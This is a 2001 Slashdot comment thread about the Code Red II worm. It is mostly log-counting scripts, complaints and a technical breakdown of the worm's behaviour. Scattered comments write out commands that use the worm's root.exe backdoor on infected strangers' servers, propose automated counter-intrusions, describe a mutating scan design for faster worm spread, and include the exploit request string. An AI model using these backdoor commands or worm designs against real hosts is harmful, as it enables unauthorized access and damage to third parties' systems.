    RWXS is not what I call a permission system, and if it is, its a very course grained system, certainly not usable on an everyday file server. And yes I'm serious. Imagine templates for a word processor. A group needs to read and write them. A group needs to read them. All other users must not have access. Can't do it with rwxs, and most Unix shops don't (they use Windows and Netware for file servers).

    Windows users get to choose between an actual VMS / Trusted Nix style permission system or nothing at all. That's choice.

    Most services can be chrooted, but they're not. The FHS doesn't even care about chrooted services - they should be standard. Most services don't need root privileges (yay capabilities), but they use them.

    I prefer Linux over Windows for my own work, but for others, the best tool for the job is Windows.

  259. STUPID worm! by Powercntrl · · Score: 1

    Just checked my logs... Great, I'm on fucking dialup and there's a stupid worm bouncing invalid requests off port 80 of a Linux box I have setup to do NAT. Normally I wouldn't condone drastic measures, but I think ISPs (broadband or otherwise) should start logging the IPs their boxes are getting hit with and if the IP matches that of a customer - BOOM! there goes their access! Finally, envoke TOS for a useful purpose! If the user(s) in question want restored access, they must either update their affected Microsoft product, change to a better OS or STOP RUNNING ANY TYPE OF WEBSERVER if the ISP's terms of service forbids running a webserver.

    These ID10Ts need to patch their 'doze boxen or get the hell off the Internet.

    --

    ---
    DRM is like antifreeze, to the MPAA/RIAA it's sweet, to the consumers it's poison.
  260. Will this wake peoiple up? by Mnemia · · Score: 1

    The way I see it, we are all reaping the foul harvest MS has sown. I can't even imagine the amount of bandwidth being wasted on these stupid worms. I don't use MS server products, but because of this their crappiness is STILL affecting me...and us all.

    Short of someone writing an illegal patch-worm, this could be seriously difficult to stop. There are just too many IIS installations that are run by people who either don't know what they are doing or worse don't even know what IIS or a web server is. That's the problem with these "idiot-proof" GUI webservers...they can be run by idiots.

    We need to see MS get some serious bad press for this, or it won't end. It's getting out of control (judging by the fact that my home Apache server is being hit with this new strain every 5 seconds...literally), and I think it's time MS killed the monster they created and got a little more proactive about finding and notifying the people who are running these unpatched installs...

  261. Getting Worse by stuccoguy · · Score: 1

    I have logged 27 attempt in the last 5 minutes from Sprint Broadband customers. This could really get annoying. The main problem I see is that even though I am not vulnerable to the attack, my ability to monitor for other attacks is being diminished. A determined hacker could easily attempt to slip in with all the noise.

  262. @home preventative measures by WereTiger · · Score: 4, Informative

    Apparently @home is monitoring it's customers for Code Red.
    I'd JUST reinstalled Win2k Pro on a new system, I'd added IIS for my own purposes and before I had a chance to run the service pack and patch, I got the Code Red worm (ok, so I was lazy and tired and was going to leave it for the morning)

    @home unbound my cablemodem until I'd cleared the worm (disable IIS, reboot).

    normally, I'd be a little annoyed at @home for monitoring my connection and cutting my connection rather than just block all traffic to that IP at router level. but hey, it saved me from contributing to a problem.

    --
    If you're hearing rhetoric about Linux, open source, or Mac and everyone's bashing Microsoft, you've found Slashdot.
    1. Re:@home preventative measures by Anonymous Coward · · Score: 0

      my thoughts exactly.

    2. Re:@home preventative measures by cybrthng · · Score: 4, Interesting
      You sure you just didn't dos yourself of the net? :)

      Personally i don't see @Home taking you off and noticing you fixed it and putting you back online.

      Check your outtage listings for your area.

    3. Re:@home preventative measures by WereTiger · · Score: 1

      I'm positive. you don't have to call @Home, get told you've been unbound and have to fix the problem, wait until the weekend is over for the Security team to get back to work so you can call them to ask to have your modem rebound on probabtion (they monitor your connection for 24 hours or something like that) IF you haven't in fact been unbound.

      /me knows my sh!t. dun worry 'bout me. Ugh
      (Got told by a caller (I work in tech support) today that spool32 errors in mmsystem.dll wasn't a software issue and that he wanted to speak to a more competant tech.. *sigh*. where's my kill button?!)

      --
      If you're hearing rhetoric about Linux, open source, or Mac and everyone's bashing Microsoft, you've found Slashdot.
  263. Re:Now that is funny! by mcleodnine · · Score: 1

    Mod parent UP! That made my DAY!

    --
    one better than mcleodeight
  264. My shell script by Cave+Dweller · · Score: 1

    This is what I used.. Nothing much, but I find it somewhat useful :)

    LOGFILE=/home/httpd-1.3.20/logs/access_log

    echo `cat $LOGFILE | grep default.ida\?NNN | cut -d ' ' -f 1` | tr ' ' "\n" | uniq | sort > old.cr

    echo `cat $LOGFILE | grep default.ida\?XXX | cut -d ' ' -f 1` | tr ' ' "\n" | uniq | sort > new.cr

    echo `grep -c default.ida $LOGFILE` > total.cr

    echo `cat $LOGFILE | grep default.ida | cut -f 1 -d ' ' | uniq | wc -l` >> total.cr

  265. Re:A few more details:It's a root trojan by Drone-X · · Score: 1
    That's not what I said. And if you want to make a fool out of yourself you might want to check the "No Score +1 Bonus" box.

    When you execute 'dir', 'type', etc. the output get printed to the stdout and returned to you via HTTP but if you run notepad.exe the Win32 API is addressed and a window might pop up on the server. I espect this behaviour because AFAIK Windows doesn't allow remote GUI logins (not sure about telnet/ssh logins).

  266. Re:logs by Anonymous Coward · · Score: 0

    and wc -l

    grep -c default.ida access*

  267. @home customers slow today?? by Dynedain · · Score: 1

    we've been slow for the last week! no other explanation than codeRed of course

    --
    I'm out of my mind right now, but feel free to leave a message.....
  268. Re:What if MICROSOFT saves the world? by Anonymous Coward · · Score: 0

    Never gonna happen.. its illegal to write and/or release worms in many states/countrys, no matter for what purpose.. If Microsoft releases it, they will never admit it.. Plus, it would take bandwith to scan for more hosts to "save" and if there was bugs on the code (its Microsoft, there MUST be bugs on the code!) the results could be impredictable..

    More, Microsoft wants to conquer the world and become a new government, not destroy the world and rule a bunch of roaches! =)

  269. Re:Hypothesis by Saint+Aardvark · · Score: 2

    Holiday weekend here in Canada...one more day of this. Oh boy.

  270. Re:My range... by Anonymous Coward · · Score: 0

    10.0.0.0 seems fine too...

  271. Re:test by tulare · · Score: 2

    Err... looks like I forgot to close the tag. D'oh!

    --
    political_news.c: warning: comparison is always true due to limited range of data type
  272. What are you talking about? by whatnotever · · Score: 4, Insightful

    "Code red algorithm"??? It's called a random ip scan. In this variation, it's called a scan of the local subnet with a random ip thrown in every now and then. There's nothing special about it.

    It's fast because that's how exponential growth works.

    1. Re:What are you talking about? by Anonymous Coward · · Score: 1, Interesting

      Seems smart, though its as usual a completely static algorithm, a hack. If you really want it to spread as fast as possible, you'll make the thing adaptive.

      Together with the algorithm, spread a bit of data determining the probability of randomizing the last, the last two, the last three octets or the entire ip-adress. Now if the worm copies itself, it copies these parameters as well, but just randomizes it a bit (mutation). This is all you need to make it adapt to its neighbourhood.

      Critters that have a (near) optimal set of randomization parameters for the subnet they're on will spread faster (and thus their parameters will spread faster as well) than others that are less well-adapted. As the population of hosts is in the 100's of K's, this quite likely will work.

      I'm not advocating that people should write worms such as Code Red, so by implication I am also not advocating that people should use the algorithm above for infecting hosts like Code Red does. In any case, the above algorithm would make the spreading just a tat more effective, the static set of parameters in the current Code Red seem to work good already.

    2. Re:What are you talking about? by baptiste · · Score: 2

      BY bizarre, I meant the way it appeared in teh logs. You're right, this a big improvement over the original worm and helped this worm spread faster.

    3. Re:What are you talking about? by Phroggy · · Score: 1

      Oh come on, just because there's nothing special about it doesn't mean you can't patent it! This is America!

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
    4. Re:What are you talking about? by baptiste · · Score: 4, Informative
      Steve Friedl believes he has figured out the bizarre scanning of the new strain. From DSLReports forums:

      OK, I know how the scanning works now. The worm starts with the user's IP address, and then changes adds a variable number of random octets. Let's say that our web server is on 192.168.1.7:

      • One time out of eight, and entirely random IP address is generated
      • Four times out of eight, the lower octet of the IP address is randomized (192.168.1.X)
      • Three times out of eight, the lower two octets are randomized (192.168.X.Y)

      This is entirely consistent with the patterns we've been seeing, so if somebody on your local network gets infected, you're gonna get pounded until they fix it.

      Another point: if the web server in question is behind a NAT firewall, it will go nuts scanning the internal network. For a large company that has many NT systems internally, they will spend all day trying to infect each other.

      What a worm.

      Steve
      --
      Stephen J. Friedl / Software Consultant / Tustin, California USA / www.unixwiz.net

      Looks like somebody did their homework and decided to really make Code Red nasty

    5. Re:What are you talking about? by goodmanj · · Score: 1
      It would be really interesting seeing a few different Code Red's going with different proportions of near versus far dispersal, to see which one does best. It would tell us something about the aggregation of exploitable machines on the net. Although I suppose some people may object to such a study.

      You can find the optimal near/far dispersion fraction without infecting anybody with Code Red. Do some Code Red-style scanning to build up a demographic database of susceptible / immune hosts on the Net (you don't have to scan the whole net, of course). Then write a program which simulates the infection process on this database.

    6. Re:What are you talking about? by sunhou · · Score: 1

      You can find the optimal near/far dispersion fraction without infecting anybody with Code Red. Do some Code Red-style scanning to build up a demographic database of susceptible / immune hosts on the Net (you don't have to scan the whole net, of course). Then write a program which simulates the infection process on this database.

      Yeah, I should have realized that. After all, I'm a theoretical ecologist, so I generally don't do experiments on/with real organisms, and instead use computational and mathematical models.

      So actually, if I had a database of susceptible/immune hosts, as you said I could simulate invasions on that. I've also been building mathematical models of systems like this, that predict the behavior of the simulations (since the spatial simulations I use take a very long time to run).

      I'd love to do this; it would be an interesting new application of the models I've been developing for plant dispersal. But I'd need someone to collaborate with, since there's no way I'll have time to write the code to build up that database of susceptible hosts. But then again, do we really want to publish the optimal dispersal strategies for the authors of future Code Red sequels? Although hopefully a majority of people will be patching their copies of IIS in the near future. And I was going to say that the optimal dispersal strategy for other exploits may be very different, but I wonder how often that's true; machines which have an unpatched IIS are probably more likely to have certain kinds of other vulnerabilities, since those are the machines where the admin isn't keeping up to date.

  273. Re:@home problems... by manly · · Score: 1


    Slow service? I don't know about other @home customers (I'd like to hear) but my net connection was completely _down_ for about 8 hours this afternoon. As a matter of fact I just got back on.

    The interesting thing was that the "cable" light on my cable modem was still on when usually when I can't get on the net it is off.

    So I wonder what the problem really was. If maybe the routers were all up but the dhcp servers were down or something....

    Anyone else have similar problems?


    I don't use DHCP (it didn't seem to work well for multiple IPs), so I don't think that's it. Service has been touch and go for the past 30 hours or so, although it's relatively stable this evening. When service was down, I would ping my subnet's default gateway, and not receive a response. I subscribe to 2 IPs, on different subnets, and they've both been affected at various different times.

    Personally, I feel that if this continues, @Home needs to credit me back part of my subscription fee.

  274. Re:If this can't break Microsoft's back nothing wi by mjowiz · · Score: 1

    If you read the Micro$oft EULA it is basically unwarrented for anything. Furthermore, M$ limits their liability to the cost of the software or $5 US, whichever is more.

    Personally, I think the time for talking is over. It's time for what we used to call "muscle" during labor strikes. M$ deserves a little muscle right now.

  275. Getting hit hard by stuccoguy · · Score: 1

    I am logging about 50 attempts per hour and nearly all of them are coming from IPs within my ISP (61.x.x.x). This is a 5MB wireless network and it seems to be very busy tonight.

  276. Re:Free r00t for all! by Malcontent · · Score: 2

    You really think that your average windows luser moron will actually put two and two together? Come now get real. They will probably just hit the home button so they can go to MSN and catch up with the latest Britteny Spears news.

    --

    War is necrophilia.

  277. As of about 9:30 AM Eastern 20010805 by pyite · · Score: 1

    195 total, 78 within my Class B... All telocity users in my class b.

    --

    "Nature doesn't care how smart you are. You can still be wrong." - Richard Feynman

  278. Re:Try this by Anonymous Coward · · Score: 0

    It even works from a browser. Just use http://IP/scripts/root.exe?/c%20dir%20/s%20\* where "IP" is the address of the server.

  279. Re:A few more details:It's a root trojan by Heretic2 · · Score: 1

    Is there a way to just disable IIS? I think that'd be the best solution.

    I got a multi-homed box in a colo that's hitting hit with multiple attacks/second. No performance biggy, but I'd like to start neutralizing this. My log files are getting big. Guess I'll make a PHP script to keep track of this stuff.

  280. Re:Why good people use bad webservers by mr3038 · · Score: 1
    ...marketing department decided... told by the web design company... IIS and ASP.

    For what exactly do you have IT dept anyway? If marketing dept does all the decicions regarding computer software (and hardware also, it may be hard to run IIS on a non-x86) and web design company does your server setup what can IT dept do? Take the blame? There's a big difference between web designer and web developer/administrator. And designer should not say anything about platform. Period.

    --
    _________________________
    Spelling and grammar mistakes left as an exercise for the reader.
  281. Re:Why not fight back ??? by Anonymous Coward · · Score: 0

    First, DoS are illegal..
    Second, imagine that it runs some important software, other than the webserver, that can not stop and someones life/job depends on it.. imagine that its an hospital or something else.. Would you like to have the blood of innocent on your hands, just because you dont like Microsoft?..
    Why DoS and go to jail (if its a corporation) when you can email and er.. live happilly ever after on freedom?

  282. Autorespond with a $250 consulting fee by IvyMike · · Score: 2

    This variant installs a backdoor. Whenever you're attacked, your host should automatically respond by telnetting into the back door, installing the MS IIS patch, and send the sysadmin a $250 'consulting fee' for fixing their server. (This is slightly different than the oft-suggested "why not making a patching worm?")

    Back on a serious note: How long will it be before someone starts suing the owners for letting their computer be a platform for an attack? Not long, I fear. I guess we'll see a huge upsurge in linux and apache installations when that day comes, though.

    1. Re:Autorespond with a $250 consulting fee by Anonymous Coward · · Score: 0

      "I guess we'll see a huge upsurge in linux and apache installations when that day comes, though."

      It's already happening in my neck of the woods. Not long before the first redworm came out, i was talking to a coworker about servers, and he was using win2k and IIS, to which i was shocked, and tried everything in my power to convert him over to 'nix. Nothing i said could convince him, so one day at work i downloaded a little prog, got his server ip and cracked into his IIS right in front of him. I'm proud to say that he is now running apache on mandrake now.... Just doing my part.

      now go little grasshopper, and spread the word. whith this power, the fearsome redworm will become as insignificant as a mosquitoe

  283. I have been hit a ton by djhertz · · Score: 0

    I have been hit over 35 times in 12 hours, way more then the first code red

    --
    Modest doubt is called the beacon of the wise - William Shakespeare
  284. 24.*.*.* is very busy tonight by loconet · · Score: 0

    for the past 30 minutes ive gotten about 150 requests 95% of them on the 24.* range like this one..

    24.5.192.239 - - [05/Aug/2001:01:45:12 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 278

    I also get N's from time to time ... this is going to be a very interesting night

    --
    [alk]
  285. me too by aozilla · · Score: 1

    Several @home customers have written about slowed service today, but they're definitely not alone.

    I've had slowed service today, but I think that's because I've been using Mozilla (which is now up to 69,428K in memory usage).

    --
    ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
    1. Re:me too by Anonymous Coward · · Score: 0

      I'm not using linux

    2. Re:me too by Anonymous Coward · · Score: 0
      I forgot how this works: a Linux app being a memory hog == Good! Windows doing the same == Bad!

      With four windows open, my IE5.5 is using just shy of 12 megs. Suck that, trollboy.

    3. Re:me too by Anonymous Coward · · Score: 0

      Take a good look people. Yet another person who broadcasts to the world that he doesn't understand threads under Linux.

  286. Re:RIAA!! by Anonymous Coward · · Score: 0

    Do you think the RIAA cares what happens to their web server? They'd love it if the entire Internet went down in flames, which we're told is what will happen if code red or some variant that actually worked would clog every pipe entirely. Their puny web server would be a small price to squeeze out all the bandwidth being used by mp3s.

  287. Re:Free r00t for all! by testify · · Score: 1

    Yes, and where you have an unpatched IIS install, you often get a wide-open FTP server running as well. It's been making for some interesting browsing.

  288. Re:The beginning of the end of free rides... by sonnik · · Score: 1

    This is different. They were exclusively being threatened but the UDA for spam.

    The real culprit with this is that people are running unsecured, unpatched IIS.

    I think locking down local port 80 would cause more problems than good.

  289. Re:If this can't break Microsoft's back nothing wi by meta-monkey · · Score: 1

    Even for windows users, a 120.00 linksys box and some know how will protect you. At least close the blatent problems and protect your internal network.

    You see, the problem with that is my mother-in-law. She runs Windows98, has a cable modem and loves to play on the internet. I was visiting recently and wanted to use her computer to check my email. When I turned her computer on, I was physically ill watching the system tray fill up with 80 icons for ridiculous garbage nobody would ever need. 4 free trials to online services. 3 virus scanners (1 inactive). Various monitor "applications" for the video system, sound system, etc etc etc. Broken shortcuts all over the desktop. Had never run windows update. Never defragged the hard disk. That "some know how" you're talking about just doesn't exist in the world of my mother-in-law, and there are many, many more just like her who think "securing my computer" means making sure nobody breaks in and steals it. Don't hold your breath waiting of my mother-in-law to suddenly wake up, install linux and a firewall and become an 31337 h4x0r.

    --
    We don't have a state-run media we have a media-run state.
  290. Re:Why don't they... by Emugamer · · Score: 1

    you must not read enough. this idea has been tossed around all the time. the thing is its illegal thing to do ... it fights fire with fire but its still illegal. why would anyone want to get arrested for fixing the net anyway? back to parseing my log file :)

  291. Re:Getting slammed from 24.*.*.* by Anonymous Coward · · Score: 0
    CNN, as of 1:23 AM EDT, has absolutely nothing on this. (Compare to all the hype a few days ago over the reactivation of Code Red I -- which was hardly news anyway, since it was known since the middle of July.)

    Why don't they cover this now, when it might actually do some good?

  292. Re:Something that should happen more often. by MajroMax · · Score: 2, Funny

    Man, I'm glad that I'm not using Minesweeper. This new virus exploits an unexploded mine in Minesweeper, and it does use Outlook and the stupidity of users. Luckily, I'm running OpenMine, so I'm not at risk. In fact, OpenMine has protected me from 2^37-302 virii. And just look at the millions of dollars that I've saved using OpenMine. I hope that this OpenMine takes off, along with OS/2. Unfortunately, my doghouse has to pay for the stupidity of Microsoft: this virus sucked 212 nibbles of bandwidth!

    --
    "Evil company X is threatening to restrict our rights! Let's all get together to stop--OOOH! SHINEY!!!" -- AC
  293. Note to the crackers doing this: (-1 Redundant) by Anonymous Coward · · Score: 0

    This is LAME. Believe me, there is more to life than annoying people just because you can. A lot more.

  294. Re:This web page was changed... by Saint+Aardvark · · Score: 2
    ARGHHH.

    grep ida /foo/bar/log | awk '{print $1}' | sort | uniq |\
    awk '{print "<a href=\"http://" $1 "\">" $1 "</a><br>"}'

  295. Re:@home problems... by Anonymous Coward · · Score: 0

    I'm having the same thing happen here in Indy, on the Speedway segment. Connection seems to occasionally drop (seems like overnight), though online light still stays on. I reset modem and it can take over an hour to fully come back online. Tech support has no clue.

  296. The really bad effects... by Genetically+Enginerd · · Score: 1

    So, now that the news is out about the rootkit, two things are happening. First, there are a few crackers out there somewhere that are installing even more cunning rootkits or trojans on the systems that are infected and at the same time covering their tracks. Second, there are a lot of hackers out there helping cover the crackers tracks with curiosity and well meant stuff.

    For grins, can't the network adapters be shut down from a command prompt?

    --
    Does the income I've derived from working with Unix belong to SCO?
  297. Re:A few more details:It's a root trojan by Saeger · · Score: 1
    Yeah, great, now all we need to do is get a bunch of [apache] admins to install a '/default.ida' CGI that disinfects the connecting host automatically. Would probably have a drop in the bucket effect though.

    ...even just a simple wget "http://$REMOTE_ADDR/scripts/root.exe?/c+ren+root. exe+infected.dat"

    --
    Power to the Peaceful
  298. Re:POSTing to root.exe? by Megahurts · · Score: 1

    just wait till the trolls get a hold of that one... images of "the receiver" and "the giver" opening up on untold millions of pc's worldwide... this will be friggin hilarious!

  299. I don't see a problem by KidSock · · Score: 2


    Aug 5 00:04:13 nano kernel: Packet log: input DENY ppp0 PROTO=6 204.172.72.112:4474 208.162.198.38:80 L=48 S=0x00 I=56830 F=0x4000 T=119 SYN (#19)

    1. Re:I don't see a problem by S.+Allen · · Score: 1

      I've had over 2000 of these since yesterday. all from within @home.

  300. Re:Now that is funny! by Anonymous Coward · · Score: 0
    Checking my logs, here are some more:
    65.4.97.166 This guy is an Alcoholic IT professional.
    65.4.29.5 This one has a 'secure' login. And it wants to know your 1040 return date.
    65.4.1.33This one says fuck us government. Contact:sysadmcn@yahoo.com.cn

    Slashdot is a waste of time, I hope to continue in that tradition.

  301. another source for cisco firmware by MarkMac · · Score: 1
    Hmm, You could alternatively try getting the 2.4.1 firmware patch from:

    http://www.qwest.com/dsl/customerservice/win675ups .html

    I think that 2.4.1 was one of the patches that resolved this security issue:

    http://www.cisco.com/warp/public/707/CBOS-multiple .shtml

  302. call it by its name by Tom · · Score: 1

    and remember: if you want to get anything out of this, call it a Windos Worm when you talk to non-free friends.

    yes, I know Unix worms do exist. but last time I checked, <i>all</i> of the recent large-scale infections were windos-based, plus a Unix worm would by far not propagate that easily and quickly. bonus point: it wouldn't be in visual basic.

    --
    Assorted stuff I do sometimes: Lemuria.org
    1. Re:call it by its name by Ridge2001 · · Score: 1

      That was a brilliant troll. An indefensible argument, potential for an O/S flame war, spelling errors, extraneous HTML tags, and a few factual errors thrown in for good measure. Well done.

  303. Re:POSTing to root.exe? by chabotc · · Score: 2

    Yes, quite easy actual, the line to get a directory listing would be: GET /scripts/root.exe?/c+dir HTTP/1.0

  304. Just another shell script that I use... by pr00f · · Score: 1

    Just wanted to add my own shell script for producing a list...

    grep default.ida /var/log/apache/access.log | awk '{print $1}' | sort

  305. My range... by heliocentric · · Score: 2, Funny

    Well, with everyone feeling the need to chime in about what ranges they see like we did when we were taking bets if school would be canceled, I just felt like saying:

    Nothing from the 192.168.0.x range here!!

    =)

    --
    Wheeeee
  306. It's certainly more ambitious... by David+E.+Smith · · Score: 2
    I just pulled out the logs from the home Web server on a 24.x.x.x cable modem (which never really does anything but redirect people to my real Web server). The original tried to attack my Apache web server about a dozen times over three days; this one, over the past four days, has tried over 200 attacks.

    1. Re:It's certainly more ambitious... by David+E.+Smith · · Score: 2
      Nope, it's definitely getting worse. Another 15 hits in the past hour (since I put up a l'il script to log them separately, and to attempt to email the responsible parties).

      Something that should perhaps be part of another thread: For each attack, I'm now sending out one email, to [webmaster && postmaster]@[domain]. Is this actually a good/ethical idea? Under the circumstances, I'm hoping it won't be interpreted as spam. The text of the email is, roughly:

      From: (my email address)
      To: (as above)
      Subject: You are afflicted with Code Red or a variant!

      Your machine, at IP address (blah), appears to be infected with the Code Red virus. Information on how to fix this system vulnerability is at (url that I don't remember right now).
      Thank you.
      ...dave

    2. Re:It's certainly more ambitious... by baptiste · · Score: 2
      Well, many organziations are doing this automagically. All they want is your logs.

      DShield has a system setup. Just execute this command if you run Apache in your log directory:

      grep 'default.ida' access_log* | mail -s 'APACHE' redalert@dshield.org

      THis way they can identify all teh compromised hosts and contact the owners.

      The ARIS team @ SecurityFocus is doing something similar

    3. Re:It's certainly more ambitious... by nathanm · · Score: 2

      I've had the opposite experience. I got over 60 hits in the first round of the Code Red worm, and 32 from this round tonight.

  307. Does CodeRed have a buffer overflow vulnerability? by Genetically+Enginerd · · Score: 1

    I have seen some interesting solutions to this and since I can't quickly bring up a web server to try it, let me suggest trying a buffer exploit on CodeRed. Instead of sending a 404 to the GET default.ida request, send back a string of trash that is longer than any default.ida file could be. Maybe it'll choke...

    --
    Does the income I've derived from working with Unix belong to SCO?
  308. Damn by Anonymous Coward · · Score: 0

    And all on the night that I decided to net-install FreeBSD.

  309. Re:Now that is funny! by KalvinB · · Score: 1
    I worked at the same HP tech center 11-2000 to 1-2001 when it was shut down and everyone was laid off.

    It's a good thing otherwise I'd have to forward him a note documenting his case and how to resolve the issue.

    Or maybe just walk over and hand him a copy of Apache.

    Ben

  310. Only attempts IPs running web servers? by dozing · · Score: 1

    Checking through my snort logs I only see this new variation making attempts on a very small set of the IP addresses in my netblock. After poking around a little I found that ALL of these machines were running services on port 80. Has anyone else seen this? Is this new version checking to see if the service exists before it sends the http request?

    --
    Dozings.com -- Its kinda funny... If you're as crazy as me.
    1. Re:Only attempts IPs running web servers? by dozing · · Score: 1

      Forgive my late nigth post. I took a few minutes to think about it when I woke up this morning and it was all clear to me. Thanks for the follow up though.

      --
      Dozings.com -- Its kinda funny... If you're as crazy as me.
  311. Re:Something that should happen more often. by Anonymous Coward · · Score: 0

    That other guy is funny. You are not.

  312. Re:Why don't they... by tswinzig · · Score: 5, Funny

    Modify the code red code to apply the security patch to the vulnerable IIS servers and reboot the system? While this is potentially destructive to your system (I'm told -- MS security patches and all that) it would pretty well take care of this problem...

    Nah, this will just make the sysadmins even lazier.

    SysAdmin #1: Dude, your NT machines are all infected with Code Red!

    SysAdmin #2: I know! I'm just waiting for for them to be infected with the fix... should be any day now...

    --

    "And like that ... he's gone."
  313. Getting bombed from 61.*.*.* too by drunkmonk · · Score: 1

    I'm getting hammered from the 61.*.*.* range, too... and I'm just on a laptop with a dialup. Aren't I glad I run Apache and not IIS to do local web dev... - John

  314. Re:logs by secs · · Score: 0

    i did the same thing to.. 315 hits from 24.*.*.* on my my logs

  315. Re:Hypothesis by kilrogg · · Score: 1
    Nah, it's a country wide civic holiday,

    Not in Quebec.

  316. Gotta love Zone Alarm... by Bonker · · Score: 2

    Of course, I'd never run IIS on my workstation, let alone a server, but it's fun to watch the HTTP requests come in on ZA.

    Now, let's see if ZA logs contain enough information to determine if it's a Code Red attack or just another port scanner....

    --
    The next Slashdot story will be ready soon, but subscribers can beat the rush and slashdot the links early!
    1. Re:Gotta love Zone Alarm... by Anonymous Coward · · Score: 0

      Wanna see if its codered, just run the win32 netcat ( nc -l -v -p 80 -o hex.dmp ), dont forget to tell zonealarm to let them in though, there is little that is more save than a netcat honeypot ;-)

  317. Re:cisco 675 hanging. by Maditude · · Score: 1

    Instead of turning it off (which doesn't really help until you have the very latest firmware), you should forward incoming port 80 [to some non-existant box on your LAN], and you're router won't try and parse them any more.

  318. fdisk by sandman665 · · Score: 1

    would someone please write a variant that will nuke the c: drive of any infected computer.

    1. Re:fdisk by Anonymous Coward · · Score: 0

      Let the flaming begin.. Damned be the RETARDED skript kiddies that got their computer yesterday and want to look cool with their friends and destroy the world for no apparent reason other than "phun"..

  319. help with apache? by Megahurts · · Score: 1

    I run apache on win32 (I don't like that, either. I wanted to run linux, but my family needs to use this box, too) and I saw another message that mentioned a good response to the code red worm (http://INFESTED SERVER'S ADDY/scripts/root.exe?+/c+start+http://www.digital island.com/codered/) and I was wondering if there was a way to make my instance of apache automatically send out this request. Now I know that if had linux running here, I'd just write a quick shell script to do the dirty work, but that's simply not an option. And as long as I'm asking questions here, wouldn't there be some better page to send them to, or perhaps a script command to knock the worm out? (although that could potentially be troublesome since it might have to delte some of their stuff and crash their machines)

  320. Getting slammed from 24.*.*.* by sonnik · · Score: 1

    I also am an @Home subscriber, it seems to have gotten a lot worse for me in the past hour.

    I'm just suprised with all the <sarcasm>excellent media coverage</sarcasm> that more hype wasn't made about possible attacks today.

    I guess crappy reporting takes the weekend off.

    I'm not really at threat from this latest version, but I still don't like the fact I'm getting slammed like this.

    1. Re:Getting slammed from 24.*.*.* by Anonymous Coward · · Score: 0

      I'm getting a lot from them and the 65.'s, too.

    2. Re:Getting slammed from 24.*.*.* by mjowiz · · Score: 1

      Yes it is amazing how the news organizations think the whole world takes the weekends off. I noticed nothing from the other attacks but I am wondering if it wouldn't be better to just unplug my cable modem tonight.

  321. Breakdown of the new "features" of CRII by 2675636B20796F75 · · Score: 5, Informative
    Ok, here's the latest on this new variant.

    1. It makes a copy of CMD.EXE called ROOT.EXE in the;

    \inetpub\scripts

    and

    \program files\common files\system\msadc

    directories. Does this on both drive C: and D: (doesn't fail if D: doesn't exist).

    2. It then runs its attack program code to infect itself upon numerous other boxes. This is done randomly, although there is a bias to attack boxes that are part of the same class A as infected attacker (so it hits your own boxes sooner rather than later). Attack code runs for 24 hours, 48 hours on Chinese language systems.

    3. After attack code runs (and it seems to be based on clock ticks, not date), it then writes out a Trojan.

    File Explorer.exe (8192bytes or 7K as displayed by Windows) is dropped (from the code in the original attacking URL) to the root of drive C: and D: (again, doesn't matter if D: doesn't exist).

    4. The system is then rebooted (probably a forced reboot).

    5. When the system restarts, it loads the trojan Explorer.exe from the root directory on the boot drive. This code then does several things;

    a) Launches the real Explorer.exe, so the system looks normal.

    b) Sets SFCDisable in hklm\software\microsoft\windows nt\currentversion\winlogon to some undocumented value. Presumably this disables Windows File Protection (so critical files could be overwritten)

    c) Creates two virtual directories (via the registry) in hklm\system\currentcontrolset\services\w3svc\param eters\virtual roots. Called "C" and "D", they are mapped to the root directories of the two drives and permissions are established in the virtual directory to allow script, read, and write access as well as setting execute permissions to scripts and executables.

    d) goes into an endless sleep loop.

    The end result of all of this action is to leave your box wide open to remote connection and total compromise.

    Unlike "Code Red", this worm doesn't attack any single target at any point, although its attack strength seems to be much higher (it launches 300 threads right off, although some may only launch 100), so its propagation seems much higher.

    The attack only works properly on Windows 2000 systems (preliminary analysis). ICSA Labs tested against an NT 4.0/IIS 4.0/SP3 box and received a standard error message. Reports from subscribers suggest that XP IIS 5.1 RC1 is invulnerable also. Its expected that it works on PWS and OWS equally to IIS (all on W2K).

    Its obviously a short-lived attack, at least the process of collecting victims. What would be done with them once collected is another story. No attempt is made by the worm to send anything "home", although detecting compromised boxes is far too easy (very unfortunately) for anyone outside your network.

    Cleaning a compromised box should really be done by reformatting. Although logging is left on for the new virtual directories created (meaning you'd see access in your IIS logs), there's really no way to be sure that files haven't been implanted to leave other backdoors (not as part of this worm, but as part of the use of the opening it creates).

    Credits:

    The bulk of the analysis was done by Nick Fitzgerald of Virus-L (and friends) and Roger Thompson of TruSecure. Additional help came from Bruce Hughes of the ICSA Labs.

    Cheers,
    Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor

    1. Re:Breakdown of the new "features" of CRII by SCHecklerX · · Score: 2
      Hi Russ,

      Since when does TruSecure and ICSA Labs make official statements via slashdot? I sure hope you talked to some people before you posted this.

  322. Re:Proposal for White Hat'ing CR][ by p_trinli · · Score: 1

    It would be quite ironic and amusing if someone launched a bunch of "cure" email messages with a "fix" attached, when in fact it's, you guessed it...

    Code Red 3!

    Code Red
    Code Red 2: Code Harder
    Code Red 3: Code With a Vengence

  323. What about using POST? by Ranx · · Score: 1
    What happens when you put some cmdline in the POST-part of the message?

    POST /scripts/root.exe HTTP/1.0

    dir

    ??

    --

    Me
  324. Re:Found this at one of the infected sites by MavEtJu · · Score: 1

    Probably somebody who found out how to use the root.exe executable... I have see this only once so far, the rest are just 404's (in the most exotic languages).

    --
    bash$ :(){ :|:&};:
  325. Re:test by Anonymous Coward · · Score: 0

    welcome. Don't mind the trolls who'll call you names. This is really a friendly place. :)

  326. Neat little proggie I wrote.. by MoOsEb0y · · Score: 1

